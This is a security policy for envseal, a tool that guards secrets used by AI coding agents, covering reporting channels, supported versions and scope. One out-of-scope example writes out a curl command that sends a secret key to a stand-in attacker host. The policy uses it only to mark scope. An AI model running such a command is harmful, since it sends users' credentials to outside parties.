| Version | Supported |
|---|---|
| 0.x | Development; not yet recommended for production use |
| 1.0+ | Full support (when released) |
Do not open a public GitHub issue. Please report security vulnerabilities privately:
- Email: security@envseal.dev
- GitHub private vulnerability reporting: https://github.com/NDilanka/envseal/security/advisories
We aim to acknowledge receipt within 48 hours and provide an initial assessment or patch within 7 days for critical issues.
Vulnerabilities in the following components are eligible for security reports:
- The SEP/1 protocol specification and its reference implementation
- The broker (
packages/core) - The prompter adapters (loopback browser, native dialogs, TTY)
- The interception hooks (Claude Code plugin
PreToolUse,UserPromptSubmit,SessionStart) - The redactor and secret-value handling throughout
- The MCP, HTTP, SDK, and CLI bindings
The following are explicitly not in scope for security reports:
- A compromised local machine, keylogger, or rootkit
- A malicious harness binary or agent implementation
- A user who deliberately runs
env_use -- curl attacker.example -d "$KEY"after reading and accepting the confirmation dialog - Secret distribution to teammates or production environments — envseal provisions a developer's local
.env, not a production secret store - Attacks on the provider's authentication endpoints themselves
For more detail on the threat model and what is defended against, see docs/threat-model.md.
See docs/threat-model.md for a detailed threat and mitigation analysis (T1–T14).
See docs/residual-risks.md for seven risks that remain even with the protocol in place.